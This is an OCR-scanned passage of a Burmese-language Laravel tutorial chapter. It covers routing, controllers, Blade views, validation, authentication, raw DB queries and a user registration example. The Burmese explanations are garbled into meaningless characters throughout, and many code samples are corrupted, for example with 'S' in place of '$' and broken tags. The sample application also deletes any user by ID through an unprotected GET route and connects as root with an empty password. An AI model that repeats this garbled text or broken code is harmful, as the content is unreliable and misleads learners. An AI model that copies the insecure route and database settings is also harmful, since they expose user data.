/tests Unit Testing c9 coóesooca|jo5Q|l: o9 seo»:(p|c9q66o»o Unit Test 
oe : ` e oc IN 
Code copo? 3 Directory cóeo Q9009:6€:220:&60loooóu 





` 


/bootstrap App o? Run 03329] 220) 8660209 Include coó[eé: Load aô 
(88: 003 cpdc§:c0g03 coóco:o> 8660909 99p9:60:000:0) 


Directory (gd0loo05u 





artisan Laravel à Command Line Tool dolos Project o? Run $i 
Database Migration coz Run 83 Model G6 6opi Controller BE 
co 02996800098320503 aeos: [o]&éoloo obi 





sen Environment Setting 60902 3 Edp 6299920005909 Go: go] 
nun pos - Local go Develop 0906509 9): 9909 Database 
Username, Password o»o»o! Server o Distribute coóc90$02328] 
ob:qeoo Database Username, Password (ma ofeg 
Environment 320009 3(89:250590$c902 Setting 0203 9905905 








eu:8é[aé: [ešoloooŠi 








12.2 - Laravel Router 


c o e eo. ° c CN c c e c eme 
App 02990? 0602660»260989€6 000630:05020€02 3209002609 URI co8:c[o2oC: coo 2205903(86:0 


o 


c IN e c e ç O : Q ° : IN e IN 
(S90lo»o5u 3e9óesooCqiooo? Routing seal (8: /routes/web.php eo Routing monaco 
6€1:220:0003909 eo:qolo»oóu G61:020:00260»2 39900 [ešoloooSi 


Route::get('/user', function () { 
return 'Hello User'; 


»; 


/user URI 4 Request o? comsda gage eani gogoo Function o? 9905905@0:000;(86: (gSclos05 
° s y ° 2 ° c ç > 
3es«pgo Nameless Function 00690) 3905:(0}000: 020083 602,99 (S$olo»o3u $999 /user URI š 
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Request o? coo$8q8q6 Hello User 38.03 Message o? Response so (so (0$60:290:90 (S90lo»o5u 


eo ` < < < € ` à O ` < < oc | € 
30) Function 0069 wogeo: Controller $ Action o»c5 S5o5gooGo:&ColooolI poeo - 


Route: :get('/user', 'UserController@index'); 


zals neon /user URI 4 Request o? vais UserController 4 index Action o? 

c c o e c Oo eme c IN e : o ° ` e 
saasa eo: olog nana: [kolos Sesspeo get () Function o? 200): (900: 02320205 
Request Method o» GET RES səcoOcoOeooll 3200036] Request Method POST 390305 Route o? 

IN eo c : E ° ° ° oc )] IN 
magos com get () Function 329»: post() Function o9 3200:00: so gto on 01 
39000: 070 af: Request Method coo[eóo> PUT š DELETE 033902050095: put () Function à 
delete() Function NOR səo>:[o|&col cooSI Request Method o?e[o3059 320960906009 q66002 





all() Function o? aeos: (oj&6olo»o5u 
Variable Parameter cog ps: Route URI 390305 000390360:$60loo0 t 206d - 


Route: :post('/user/update/{id}', 'UserController@update'); 


$080399 /user/update/123 o URI o? coo$8q$q6 {id} Parameter ¿0m$8:00 123 (9003 
390305 3209009002326] $id 3803 Variable 029909 Laravel mavi (o2 [£560: 000: yo [eë [Š: 123 o? 
co c < < c ç € € çO 0 ° ° 2 
048:32[90 000299€:60:000:92 (gSclos05u 123 esepeo 39[82:6p922090040:02659 3902:09:320):(0) 


oc ç 
&ColoooŠši 


12.3 - Laravel Controllers and Views 

Laravel qo Controller Bico /app/Http/Controllers/ Directory 009) 6€j:220:60:qolooo$u 
O x € e ° cre ç ec o e e x` 

Controller.php o} Class 0069022 ¿unn eşi: acosa (5039036«:220:0? 

Controller cogu» 338 Class Meg socŠcez:oso:eo:eləo[eeoloooi goeo - index š update 20) 


Action 509 olog oò UserController 029909 Ge; 220:c902sDq6 UserController.php ca Qc 


326930260: qeo(s9[0: 661220: 900) Code 8940002600? 39900 (eSg2[gdcloo05u 
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<?php 
namespace App\Http\Controllers; 
use App\Http\Controllers\Controller; 


class UserController extends Controller 


{ 
function index() { 
return "I am Index”; 


} 


function update(Sid) { 
return "I am updating Sid"; 


} 


Laravel Controller Class səo:co:ooo App\Http\Controllers soo? Namespace 0069009526, 

390263999 olocaeo[ešoloooši slefoxg $899 Code yo namespace App\Http\Controllers ca 
ç c ç ç € 

a[a3[Go0095096:60:000;(86:(8dclos05n 


[Š:o>səsloce App\Http\Controllers Namespace ceo səolsəoc[eóo> Controller Sub- 

° o Sos c e e ° IN Ox O CO C ° oc 
Namespace o? c9320023o9| Namespace coë:c[o2oé: s»([00932$0009696«p ocd o209q0? malo ge 
o IN > o €c e IN e IN IN e c e e ç 
8320305 use Keyword š c[o2[|eošlo5soo5 o0p2226:000:0lo»o3i ale(o20€ esoo5ooósoQeo feo 
034, Controller (so) UserController o? e[o3{Goo3a00] extends Keyword š ode Controller 
Class mes 0305905 Inherit coGooae[əc: [sóoloooSi moda use š [o3ec[a coco: (ojo: dos 
extends App\Http\Controllers\Controller\Controller co ao (009324 eq: qgo(s$0lo»o5u 


UserController qo index à update 38.03 Action &$90lo66»c902320205 index() à 

° x : c o o e oc IN ` 
update () 8803 Function ¿090% c[o2|Cocoo:ooooocoo5: co2qàColoooSi update () Function eo 
$id Variable 03 səo3: [o| coo:[0: 338 $id Variable cbeo URI Route à {id} Parameter eseppeo olo 
000030288: 32256869929 (890lo»o5u 


coms} index š update Action cogo 9:4: Text Message 60909 Response (0$60:es (96: (9501 
oS 238 co Text Message cooo Response o[ogo HTML Template 60303 Response [o$ bq Ecor 
View 03 322: [oqo [góvlorasn 


View Template 0205 Blade Template Engine aeos: [0/e9:000:(8: /resources/views/ Directory 
63200990 d6:60:9olor Blade Template Engine o? 625:0009q6 cops: 9:4: HTML š PHP Od 
a:f R onsi poeo - /resources/views/ Directory 3200990 users «90? Directory 0289 
ere ° x e ° Q IN c oc IN 
esoo03(8: hello.blade.php 0 Template 00690) 3290» GEE: pesao: ¿color 
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<!DOCTYPE: html- 
<html lang="en"> 
<head> 
<title>Laravel Example</title> 
</head> 
<body> 
<h1>Index</h1> 
<p>Hello World!</p> 
</body> 
</html> 








9:4: HTML Code cogan [890205«90220? so SEvlos05 338 Template o0? UserController à 
] : ° eC O9 * Q oc IN 
index Action meş qol: Response [9409033291 329c9 e«:220:$60looo5u 


function index() { 
return view ("user/hello"); 


| 


view() Function o? Response (9860: c9o3[s6:(S9(8: aeos: (o| qe o? Template 22094 user Directory 

cm hello.blade.php o? a: fol e(ooc9o3(s6: [ešoloooŠi view() Function cogs File 
. Cos ° ç o 

Extension ($03 blade.php o? oop9eo:oqp ec9olop: 1 


View Template òg aoos:(o|qe o? Data 60909 cop9: Template o? view() Function à eslop039o 
IN e oc ç . . ° Q IN e o € ç o ^o 
p$: 60:86 0le00:00051 2069 - index Action o? səəco (Gés0Eeq:000:0$050005 sold 


function index() { 
return view("user/hello", array ( 
"name" => “ohn Doe" 


)); 


Array 029909 view() Function à 30800 Parameter s [e° c093036:60:0803(86:(gd0lo0051 Array 
° ` Qo * : c Ç ° OC IN es 
Index name o» Template oó9o $name ajo) Variable sa[go saç: Âe Laravel o» dopco: 
ç O ° Q e e oc IN 
ooo:eo[s9 c9 Template oo 32307 (068o66«:220:$60lo»o5u 
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SUDOGTYPE hemi 
<html lang="en"> 
<head> 
<title>Laravel Example</title> 
</head> 
<body> 
<h1>Index</h1> 
<p>Hello <?= $name ?>!</p> 
</body> 
</html> 








Sname Variable o? PHP à q030905 soo»: [pjooo: (86:0 [ešoloooŠi 


12.4 - Master View 
IN : oc IN € . O C e IN IN 
co02602.90 View o»6:320205 Template ao [009326 c9 096q:60:6$ qq6 9092200070192 og App 
02% Main Content omo c[ooS:c5cecog[9: Menu, Logo, Title, Footer oo? Component soga View 
CN c e o e, 9 IN o c : O_o ° IN 
02098 0009 nafasogolodn Spange nps coga Master View 0? 9): [eag olon 


— Master View 


— View 


9 @ J-s) Master View 


Ox x ç ç . ` . OS ° ° o M 
(8:803205$:90cop5: Main Template š View o? a[82:000:[8: 32000:099069000590004|:0? eR 

° c € ç : : c ç ec o ooc ç e o ` 
(63{8:(gdclosa5u Laravel IN: Main View coOesooca|o5o? golou 00069:90:3268 4 
Master View 026903 səəc9oooo5esooo58ColoooSI Góes master.blade.php cÓ 60:000: 


san 
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<|DOCTYPE: heml> 
<html lang="en"> 
<head> 
<meta charset="UTF-8"> 
<title>Master View</title> 
</head> 
<body> 
<hl>Hello, World!</h1> 
<div class="container"> 
fQyield ("main") 





</div> 
</body> 
S/n 


° : Q < < ^ : < . . o o 

Class Q container c99000905000:02 <div> 3209€:90 @yield("main") cQ 661:920:000:02002 

ooo9(9|qgo [ešoloooŠi eg qpogé Main Section o? eo3(gol 20) 22089 lodo! Master View o? 39908 

< cere.(e o c s o o < coc ;| ç Oç ç o. Q 

ooo$eo3(8:[9«9 səf: View 0203 3299 c005g03860los05i Góp index.blade.php cŠ 
0200020005 QOQ 


@extends ("master") 


@section ("main") 
<h2>Index</h2> 
<p>Content</p> 
@stop 


@extends ("master") co @[03[G2000:03380205 master.blade.php 20) Template ò> colo 

eadlsfiox id islas Master Vi x oc ç 0 blad Ho ae O 
:0]e803 səƏglo5 [eŠoəo:oloooSi Master View ë, 963269909 app.blade.php c9 so: 
IN Q c IN 

qÊ Gedtends ("app") c9 eq:220:60:q9 (890lo»o5u 


eo(pqeo? Content 602096009 @section ("main") š @stop 39(020:90 66:220: eo:qeoó(s$0l 
S : ` . Q S S oe S : : 
ıı Master View qo Gyield ("main") cà W:N Issa: @section ("main") 


ca o5:ooo: [e é: [sëoloooSi aaf: DOOM: 95:86 0los05 


Sco Master View à View es oo:o0o:(8:(8 59 6 Controller 009 bofe Aeq ossos: DANA 
ego: ¿colon 


function index() ( 
return view("index"); 


) 
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Sc%e9:000:000:03320305 Response səcsšà Index View o? (0$60:8 [03]:00:033031 Index View vo 
Master View o? Extend coÓcoo:c[o2oC: Laravel š Blade Template Engine o20029(8: Master View 
` : o o e ere ç ^ c IN 

$ Index View o?0? c0l6:09(8:9 Response (9$60:030:900 (gSolos05 


12.5 - Redirect 
[e] ecos C e ° e eres | : e ° Cx e e e 
c932002090c 816020) e006 go9(8:02326 View 02690) Response e[ošo so (82: c9 eso qo? 
(9960905) Route od Redirect asoan ons: səc[sëšcosoOa|oS[eecloooSi ScoOGesooca|o5 988 
e i : ° ° oc ç : Q x e ° 
320209 Laravel go redirect () Function o sa): [S|8ColoooSi Redirect coóoysəə] Route 06903 


coc 


aş: ¿CO Controller 00099, Action ANA: 22§:860los05 


coc 


Route 029909 32909 Redirect QVO&CO 00 


return redirect ('user/list'); 


$999 user/list 38.03 Route e Redirect (9107660:030:90 (ssolona 1 Action 029909 Redirect 
asco 39900 [ooa ¿Colonos 


return redirect('UserControllertnew'); 


o 


$@§030q UserController e, new Action o? Redirect (o(09960:290: ooo (S9olo»o5u 33808 
Redirect (930032001 Error Message eoo Information Message cop 030030093996: co:àColoooSI 


206d - 
return redirect ('user/profile')->with('info', 'Login Successful'); 
with() Function o? a:f: co:Ocoo:[e c: [sëoloooši Message 3202050 info co @0:0093(8:1 Message 


Content seg Login Successful co 9905905e0:000;(86: [ešoloooŠi 3 Message o? View Template 
cogo eoS(9c9q6 cooo 39900 eog 


<? if ( session('info') ): ?> 
<div class="info"> 

<?= session('info') ?> 
clim 


«? endif; ?» 
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with () Function o» Message 03 SESSION ÒQ o98:[Š: oop2eo:cposooo(s6c9! 333 Message o? 
(097095 qoas] session () Function aregorda0G quales: [8ŠoloooSi sesosəg info «90? 
o. o co o C A ° c c M $ Cos ç Ç x c 
Message qeq oo 9: gas Class Qo info Q 0005902000:02 <div> 009094 eoon cofes: ò (esol 
c o C x ° Ç x ç ç ° ° . ` M c o0oc Ç x c ; ç 
on 3§952§ c93200? epa) Message o» eso Redirect 43902 03005 co:9$6(s6:0 (S90 O203II 


12.6 - Validation 

User Input Data coo osse $0603 Validation asesan ps: eo App eadosaed 
° efed seai] fsðolovoSu Laravel yo Validation Class 0009 ods lops: oloc[8: 353 Class 
` ey . . C S, ©) c coc IN : : ° e ° oco 
a 390? as Validation qoc: csmegagcolo Validation Class o> ome): [o sc 
390305 use Keyword 4 e(oX(£260:9 Gol 


use Validation; 


Validation ©d0205s80% zre(sósoo: [sg User Input Data o9 oëooo[eŠo>səooo5 User Input Data o? 
Co. OC OC sx ° ç M ç ° o ooc | ç 
VSCO: RCO) Request Class NOA: 30300018 OPSCOlod05 II 


use Request; 


Request Class š, all() Function o? 3905;(01(8: Request šsəoqoloCcooo Input Data 60303 qo28é 
oloooŠi eqcooo> Input Data cooo - 


name e(89eesoloóqeo 
email e(89eesoloc(8: Email Format 9$qeo5 

e ero ç ° . O e 
password e[ešəcsoloc Š: Bag P0280: (G) a:Q 


. cere ` e ç 
password again oloc[8: password $ NAS 


fe sus de x 


: ca Validation o$q|6q6 32909 odolo 


Sinput = Request::all(); 


Svalidator = Validator: :make ($input, array ( 
"name" => "required", 
"email" => "required|email", 
"password" => "required|min:6", 
"password again" => "same:password" 








)); 


00008386: Request::all() š Input Data 30:09:09 qopolor 1 (8:03w031 Validator: make () 
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Function e, oooe Parameter s [e° Input Data Beo:08058: 303800 Parameter s [e° Validation Rule 
° ` o C c jl IN 
cog Array 32684 eo: fe: (950 OD05II 


ç i e AS .(8 ] c : ` i Q UNES sal 

name 39020) required 9005905000:(8: email 380900 required $ email c 9505905000:0 

€ o . c ç Oo IN IN ° A ° ` 

oI password Q min:6 (S9 e o5c9 o00390300o:(8: password again 09600? password § 

e ç Oo O 2 [° C + S eo] C 9.00 COC x IN c c oo C 

Onp2Seo»co same o? a:f: 903703000: (9c: [900 ODO II 309000090202 qco3 Pass [ešə[eŠ S5cos]ç 
con passes () Function o? aeo5:(9| oóeso:8ColoooSi poco - 


if( Svalidator->passes() ) { 
redirect ('user/login')->with('info', 'Success'); 
} else { 


redirect ('user/register')->withErrors( $validator ); 


} 


Ses 6292 mao ygon Validation Passes e[sóco Redirect asosl Validation Error Message cog 





o? withErrors() Function à32050300560:000:(86:0 (S90lo»o5u $0$e0:8c80303 Validation Error 

eou» View Template o5¢0 Serrors 20) Object sacs§ nasal slefox2¢ View 
` : : ° ç o c o Cr Ao IN 

Template eó Validation Error Message copo? coeo[ocoq é 32909 eoS(9&6 olo»oóu 


<? if( count(Serrors) ): ?> 
<ul class='errors'> 
<? foreach( Serrors-»all() as Serr ): ?> 


«li»«?2 Serr ?»«/li» 
«? endforeach; ?» 
«/ul» 
«? endif; ?» 


00008:39: Serrors qo Message Qe$] count () Function à $00(8: Joos <ul> Element 070 
9& Error Message 0209 Loop coó Š: coeo[ocoo: [Ë C:o [ešolooošii Serrors Object govloéo3 Error 
Message 390:0):0% Array 3268à q$8320205 all() Function o? a:f: agro? Array o? 
foreach à Loop aon: (36: [ešoloooŠi 


Validation oP 2:3 required, email, min, same oo) Option so [009329096002 
e3o2050lc90909o so03coo?ecocoo&60looo$ i 


http://laravel.com/docs/5.3/validation 
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12.7 - Authentication 


` - EN < < c € < ° < ç < 2 o 
Laravel go User Authentication c»óesoocqJo? ods lop: oloccoo[6:[8šcloooši oosa: [o àc 
390305 use Keyword š Authenticate Class o? 3905:(0}e0$s0@[0306: o[oo[coco:8 cbaad86o0 oD05II 


o 


use Auth; 


ç o c IN 


Laravel š Authentication cpdes00€6 910303 aoo»: [o|$ 68320209 3209 (2) ale QoS 
ocoep:s0:c0səoOa|o5oocooo users do) səeo5š Table 0069486 [eëoloooSú Laravel o» users 
Table oo ogo:espo$o96so: [8 6:320: (86 User 02960220302 Authenticate Giasco: 9006 so: [905 
eo[eŠšoloooSi users Table à à9p9:90? 88 App à, Badaji: o»p9esooo9& 60lo»oi 3leoeo? 
password ado? Field 00094 remember token ao) Field 036029 e(896es olocaculonusn 


28300420090 eom? /config/auth.php 92 Authentication Driver 900390360: 990 [ešoloooši 
/config/auth.php o? ae(o2p9c903q6 Default 32688 39900 Setting 0209 dloéSéclooa5u 





'driver' => 'eloquent' 
Eloquent ORM o? e93:0 Authentication coócš:oo ear gasabaé 39900 (Gésoéeo:q 90 (S$olo»o5u 
'driver' => 'database' 
02090200$q[09006009 Login Form go CSRF Token 0969 oloéqeo(s9oloooSu CSRF sef: 
3995: (99) Web App Security eo sooda eA eog (gSolo051 Login Form 4, 30952402 39908 


c e IN 
(gSo0Golos05u 


<form method="post" action="<?= URL::to('user/login') ?>"> 
<input type="hidden" name="_token" value="<?= csrf_token() ?>"> 











<input type="email" name="email" required placeholder-"Your Email"> 
<input type="password" name="password" required placeholder="Password"> 





<input type="submit" value="Login"> 
</form> 


^ : ` < o < Sos c o ç CN 
Form e, action Attribute 320905 cŠÓeooso5eo5opsəəsl Route 00090? gə: 
° 2 ° ° e ç c < ç < 
URL::to() O? 300): [0000:0000% o5o2[o|o5ColoooŠi e[ešecs oloé geod 399/MOcon name 


So 8» 
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token cŠ 250$90$00o:0) Hidden Input ooëəo[eéoloooSú 333 Hidden Input à value soeg3 
csrf token () Function 60:03 ooš:@:o2 220590360:q99[(s90lo»ou 


slo» Cross-Site Request Forgery c9eslo? os(3jes:[po25400? 02002260:0? sə5:oso[eó[0: Laravel 
go Login Form o>soeoo Form səo:co: ScoGesoocajo5oo e[sóecs səob:[o|qeo [ešoloooši Login 
Form o$ @0:300003 02§8:03 3905;(0)(8: Authenticate asos ce: o 32909 csmeggcolo an 


Sinput = Request: :all(); 


if (Auth: :attempt( array ( 
'email' => Sinput['email'], 
'password' => Sinput['password'] 
A 
return redirect ('user/profile'); 
} else { 
return redirect ('user/login') ->withErrors ( 
array (Login faved! Try again.) 
Nar 


00008:39:30699 Login Form oo e0:8c0003 Data o? Request::all() šgqoooloooi (8:02326l 


Auth: : attempt () Function 0):[8: Login Form 0260:000002 Email à Password o»» users 
Table cdo 086:8095:000:03 email, password § o?09p9(s6:Qe$| fodo (S6: [p90loo ou 020909 
mass Login eseoó(géeo(s$oloooów Login esmclec[ó: Authenticate [90c5[ac: jogo? 


o 


Auth::check() Function à So0d860]0051 


if( !Auth::check() ) { 
return redirect ('user/login')->with('info', 'Please login first!'); 


) 


$@šosəg) Authenticate [sšecsqé user/login o? Redirect coÓco:oəo:@o [ešoloooŠi Authenticate 
e ` ` e e ° o e e ° ° oc e 
[eŠcoo:o5 User À 3230932 c0056020? cBajéq cor? Auth: :user () 03 322:0] qop&éolooohu 


$user - Auth::user(); 
Authenticate (g6c00:03 User o9 Logout (o,c9Se$qée0r) Auth: : Logout () 09 səo5:[o|&ColoooŠi 
Authentication 43202 030099050902 49902602} Password Hash (gdolos051 Password 60902 users 


Table o3eo 036:033291 Plain Text 326$& e236:20€0 Hash [asf 236:25$0looo5u 33308 Hash 
coco IN x ° ° o € 
[o7 6868 320205 Laravel e, Hash Class o? 200 (o $colo ón 


Professional Web Developer - səəŠ: (o) MVC with Laravel 2? 





use Hash; 
Hash: :make () Function o? Password Goo Hash (910998 95:86 oloon 


Spassword = 'mypassword'; 
Shashed password = Hash: :make (Spassword) ; 


Hash: :make () oo [9$60:03 Hash o96{6:000: Password 08099 users Table ðe 086:a095:0060 
00031 Auth: :attempt () Function š Login 068 (03): oo:03aa8lgo0095: Laravel oo User c0:0%05 
o> Password o? Hash c90[8:9000 users Table coo Password Hash š o205«96 eé@eso:eo9 [gol 
ooo Password Hash à, o»(8|eq:eo segoh səəš: (09) Web App Security go soošcoo5oeo[o 
co:oo [eóoloooŠi 


12.8 - Database 
Laravel oo Database à food ace: egag Eloquent aroko ORM $99: 200000204}: 


oloooSu 338509: P SD cop?996: :ee63(06002! eq96: 3298: GORGD CYAN 2 
Database SMS a PR MES Lez: 390 dolos Laravel e» Database ¿0 ds dd 3 


c90c4:602320505 DB 20) Class 0299000 ordelorps: cloca é: folos 


use DB; 


class User 


{ 





static function create() { 
Sname = 'John Doe'; 
Semail = 'john@example.com'; 
Sresult = DB::insert("INSERT INTO users (name, email) 
VALUES ('$name', 'Semail')); 


return $result; 


$097 Recon 6 DB Class o? səob:[O|eo5səc[o2oé: use Keyword š @(03[G2000:02008 607,990 


(89 oloooSú [8:033291 User saep58 Class ooéəoəooÉ5esoooo[0: create () Function o? copóagé: 





@g 30003000: 0100051 create () Function 32006:90 DB::insert() o? a:f: INSERT Query 0209 





o? Run coo: [e c: [eëoloooSi Scsspoo may create () Function o? static Function so (so 
e(oo(go9(s$olooo3i sle create () Function o? seo»:[9c9o3see Object eogo»p5esoo098ec9o 


o 


Class Name (S99) User Meg 39900 Rm Rip (S90lo»o5u 
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User: :create(); 


Query cogeq:o5səə] Q(0:0490302 eg:sə5:oo səəco[eóeoolii 


static function create 
Sname = 'John Doe' 


O í 


, 


Semail = 'john@example.com'; 


Sresult = DB: :insert ("INSI 
array ($name, $email) 


); 


return $result; 








ERT INTO users (name, email) VALUES (?, ?), 





Query Statement cog Data Value coo[eóo Sname š Semail o? copsecq:d DB: :insert () 
Function 4, 303809 Parameter sos 0099036:60:0003(a6: [ešoloooši Sco Query Statement à Data 
° x e ° (2 eco CLAN IN c c ç 9 o e 
o? 3(80:6q:200:00»:(86:00» (8eq:220305 Q6022€:02 §29:006:(860l00051 ÍNENNDINON 3288: 
(09) Web App Security o» PHP Database Extension o»9e[890? PDO saes: cAol 

e IN e IN IN ç e CoS IN o 
soso eA eog [ešoloooSi 329900 Laravel oocopó: Database c96cá:60239090» PDO o 


3905;(G1000:(86:(66 oloooši 














INSERT Query 320200 DB: :insert() o? soos: (o ooco SELECT Query 320900 DB: :select () o? 





soo»: (o|$6olooo5u 


Sresult = DB::select(' 





DB: update () o? 0): 2c[8: 
Function eogooeoo? UPDAT 

















H 


DE 








ET 








SELECT * FROM users'); 





DB: :select () M 9 $cono? 00803 Array 020932053 (o$eo:eo(s$olo»ou UPDATE Query 320205 
E Query 320200 DB: :delete () NR aeos: fo Solos 8 











I 


ET 











E š DE 


39639020908 (o§e0:92[gd0l0005 II 


E Query cog Run c30902320205 wesp: Record 


e o ` e e e Q x ° e e e o c : 

309 Database &$00599053209009002 Class o» Model ao [eó SacpócoócGoCDQC /app/ Directory 
e oc e ere ` ç e e IN 

63200090 GAD: 0:00: co:qe»(s9(8: AppMModels Namespace Gwp: oop?996:60:qeo([só 

oloooó« Code 86à seeole?:eo sagopa: eo: fe: Class o9 Model Namespace eo 


Sa S.S ç 
ORC RCO ODOOII 


namespace App\Models; 


Professional Web Developer - səəŠ: (o) MVC with Laravel 269 





12.9 - User Registration System Example 

sonas: oseo 9403264 $ 06:00586 608390205 User Registration System 0209 G$:200:002 
eo5(p 602090290 (gSolos05 Code $9900 səƏoocoo[|ocooooo[eo Ó: Code à 320900900 22089100? 
con eq,0c:9 65[G3[8:(6603 soajoSeooco[əəc[eš[8: c2oSo2Cso:cooSesooC 60509490 [eolon 


o 


00008:39:30694 c93200? M-V-C 86602 o»p3esooo? quleo5 


laravel 

[| app 

LL gd 
Controllers 


UserController.php (new) 


routes.php 
| Models (new) 


L— User.php (new) 


== one g 
= auth.php 
database.php 


— public 





ES Pp css 


index.php 
[— resources 


= views 


= template.blade.php (new) 
user (new) 
login.blade.php (new) 
profile.blade.php (new) 
register.blade.php (new) 





l. /app/Http/Controllers/ cogs UserController.php o? 02936300060: qoleo2 i 
/ app/ 009) Models 399098 Directory 029900p96s000960:q0leo9i 

/ app/Models/ ogo User.php o? 029363000360: qoleo3 i 

/resources/views/ 009) template.blade.php 20) Master View pesoi 
/resources/views/ ÒQ user 3803 Directory 0009 0»996«000360: oleo 


n M e : oc ° e e ç 
/resources/views/user/ cg 6320050] View 0660902 oog3esooo3qoleo3i 
° login.blade.php, profile.blade.php, register.blade.php 








9v Su de we 
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soas: Code cog o0r€eeq:002:8 User Account eog o99:@səo2o5 Database Table 0289 

[3o28 mesmo co:0leVSn phpMyAdmin BEB: mydb 20) 32025 Database 209 
IN IN ° x O x Sy ç ° ç : ` IN ç 

oopses00050ll 8:o3aa0l users QO 326054 Table 02090? 6320050] Field GORE Seso eo:l 


users Table 

id - INT - Auto Increment / Primary Key 
name - VARCHAR (255) 

email - VARCHAR (255) 

phone - VARCHAR (255) 

address - TEXT 

password - VARCHAR (255) 

remember_token - VARCHAR (255) 





soso e: c932002 Setting 099,50 [seg oleuSn oq|Šcos5o2oo Eloquent ORM o? 995:000:02 


390305 /config/auth.php y - 


"users' => [ 
'driver' => 'eloquent', 
'model' => App\User::class, 





l, 


° IN jl oc IN o 
o? G322020 BIOPC= c[ooC: co: G 


dolor 


"users' => [ 
'driver' => 'database', 
'table' => "users", 

l; 


[Š:c5səə] /config/database.php 92 Database Setting cooo 39908 (GEs0eo:qoleodSu 


'mysql' => [ 
'driver' => "mysql", 
"host! => 'localhost', 
'port' => '3306', 
'database' => 'mydb', 
'username' => 'root', 
'password' => '', 
'charset' => 'utf8', 
reo lap kom => utte unicode cik 
‘premise! => Tiy 
'strict' => false, 
'engine' => null, 


l; 
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database, username š password NR 00660039009 (06s0660:qoo (s9(: strict ooops: 


false co 9905905000:020083 ovb fo olu 


so03c003(8: /routes/web.php qo esəoo5ol Code o? Regeo: on 


«?php 





Route: 
Route: 
Route: 


Route: 
Route: 


Route: 
Route: 


Route: 


Route: 


:get('/', ‘UserController@index"); 
:get('/user/login', 'UserController@index') ; 
:post('/user/login', 'UserController@login'); 
:get('/user/register', 'UserController@register'); 
:post('/user/register', 'UserController@create'); 
:get('/user/profile', 'UserController@profile'); 
:post('/user/profile', 'UserController@update') ; 
:get('/user/logout', 'UserControllertlogout'); 


:get('/user/delete/{id}', 'UserController@delete'); 





c0:000:0? Code sa« Root URI 390203 GET Request 0069 vayas UserController 


š, index Action o? 3209009090 [ešoloooŠi 


/user/] 





Login URI o? GET Request 0009 vas: UserController į index 


Action BOS 32090090 9° [ešoloooši 


/user/1 





login URL Bd POST Request 0209 vasco? UserController à 


login Action o? 3209009060:90 [ešoloooŠi 


os Route 60203602) 0203096 $005 co096c9coo (nacion so03c009(8: / app/Models/ 


o 


user.php càço e320030 Code o9 eq:2»0:60:0]u 
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<?php 
namespace App\Models; 


use DB, Hash; 


class User { 
static function insert(Sinput) { 
Sdata = array ( 
Sinput['name'], 
Sinput['email'], 
Hash: :make ($input ['password']) 
); 





Sresult = DB::insert("INSERT INTO users ( 
name, email, password 
) VALUES (27 2, dM Sdaitay) = 
return $result; 


} 


static function update(Sinput) { 
if (Sinput['password']) { 
Sdata = array ( 
Sinput['name'], 
Sanput lema 
Hash: :make ($input['password']), 
Sinput['phone'], 
Sinput['address'], 




















Samp i pal" J] 
); 
Sresult = DB::update("UPDATE users SET name = ?, email = ?, 
password = ?, phone = ?, address = ? 
WHERE, aid = o" $data), 
} else { 
Sdata = array ( 
Sinput['name'], 
Sinput i emari], 
sinput i phone], 
doa c ilz 
Sinput['id'] 
); 
Sresult = DB::update("UPDATE users SET name = ?, email = ?, 











phone = ?, address = ?" 
WHERE id = ?", Sdata); 











} 


return $result; 


} 


static function delete (Suser id) { 
Sresult = DB: :delete ("DELETE FROM users WHERE id = 2", 
array (Suser_id)); 























return $result; 
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} 


$8égo0loéo3 User Class o? Model Class [jðcoĝs2020ð App\Models Namespace qo 0099996: 
coo:oloooSi (8:03325l Class ogo insert (), update() à delete() Function (o) 20% 693000: 
coo:O]oooOƏlI 


insert () Function oo co:cooo? Input Data o? users Table ògo copse0:0los051 password o? 
Hash coo[8:eo 0093296:000:0020? o»o9(g|olt update () Function meon eo:cooo> Data 0? users 
Table eo Update co9co:0loo»o5i Input Data yo password ol eol $o9(8: ole password o? cop9[8: 
Update co9eoeo? eolq6eoo? password o? q$: Update coócoo:[ec:[ešoloooSi delete () 
Function 026002 co:cooo> User ID à 0203990? Record $ users Table dez o03q0202320960? 


o 


coÓcoo:oloooSi Model 00694, 02208(9603 Data oz Create, Read, Update, Delete ôo) coócá: 
60209 e«:2»2:2209909000:(86:(890lo» ou 


non: /app/Http/Controllers/UserController.php 9o 6320050] Code o? es: oli 


«?php 
namespace App\Http\Controllers; 


use App\Http\Requests; 
use App\Http\Controllers\Controller; 


use Request; 
use Validator; 
use Auth; 


use App\Models\User; 
class UserController extends Controller { 


function index() { 
if (Auth: : check () ) 
return redirect ("user/profile"); 


return view("user/login"); 


) 


function login() ( 
Sinput = Request::all(); 


if (Auth: :attempt (| 
'email' => Sinput['email'], 
'password' => Sinput['password'] 
|): 
return redirect('user/profile'); 
} else { 
return redirect ('user/login') 
-»withErrors (array ('Login failed! Try again.')); 
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} 
} 


function register() { 
if (Auth: : check () ) 
return redirect ("user/profile") ; 


return view("user/register") ; 


} 
function create() { 
Sinput = Request::all(); 


Svalidator = Validator::make(Sinput, array ( 








"name" => "required", 

"email" => "required|email|unique:users", 
"password" => "required|min:6", 

"pasisword again" => "Same password" 


ye, 


if (Svalidator->passes()) í 
User: :insert ($input); 
return redirect ('user/login') 
-»with('info', 'Register success!'); 
else { 
return redirect ('user/register') 
-»withErrors ($validator); 


) 
) 


function profile() { 
if (!Auth: : check () ) 
return redirect ("user/login") ; 


Suser = Auth::user(); 
return view('user/profile', array ( 
ta! => $usert--id, 








'name' => Suser->name, 
'email' => Suser->email, 
'address' => Suser->address, 


'phone' => $user-»phone 
)); 
} 
function update() { 
Sinput = Request::all(); 
User: :update (Sinput) ; 


return redirect ("user/profile") 
->with("info", "Profile Updated!"); 
) 
function logout () { 
Auth: : logout (); 
return redirect ('user/login'); 
) 
function delete (Suser id) { 
Auth: : logout (); 
User: :delete (Suser_id); 
return redirect ('user/register'); 
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) 


GEED: 009: o Class ooo Controller Class (89608320505 App\Http\Controllers Namespace có 
0? oop?o96:c0o:0lo»oói (8:033031 User Request 60203 c00588E$s00205 App\Http\Requests š 
oé6e Controller (9803 App\Http\Controller o? 2 use Keyword à e(ox(£oq0500o:olo»ou 
sonas: Request, Validator, Auth @o> Class cop: 200) (9 esef: elon[so 

€ Ç ° M ç ec o o c ` o ° e e 
coo:olo»oSi G$00380:326$4 021$602203 (0910266q:00: 02:0? User Model o? 3905:(0}e0$s0e[0306: 
efa {620000100051 


° index Action o> Authentication 300(8: Authenticate [e° [8:o5o: so qé user/profile 
Route o? Redirect coócoo:oloooSi Authenticate o[gdeo0:qée0>) user/login View o? 
@95{Ge0000:0109051 

